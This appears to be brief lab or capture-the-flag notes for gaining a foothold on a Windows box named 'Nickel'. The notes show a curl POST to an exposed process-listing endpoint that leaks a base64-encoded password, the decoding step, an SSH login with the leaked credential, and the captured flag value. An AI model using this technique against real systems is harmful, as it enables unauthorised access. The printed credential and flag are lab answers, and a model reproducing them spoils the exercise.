Foothold

http://192.168.241.99:8089/

$ curl  http://192.168.241.99:33333/list-running-procs 

$ curl -X POST http://192.168.241.99:33333/list-running-procs -H 'Content-Length: 0'

ariah:Tm93aXNlU2xvb3BUaGVvcnkxMzkK

$ echo Tm93aXNlU2xvb3BUaGVvcnkxMzkK | base64 -d 

ariah:NowiseSloopTheory139

$ ssh ariah@192.168.241.99

ariah@NICKEL C:\Users\ariah>whoami
nickel\ariah

ariah@NICKEL C:\Users\ariah>type C:\Users\ariah\Desktop\local.txt
2619d886154f5798f5a080f556e04625

ariah@NICKEL C:\Users\ariah>ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.241.99
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.241.254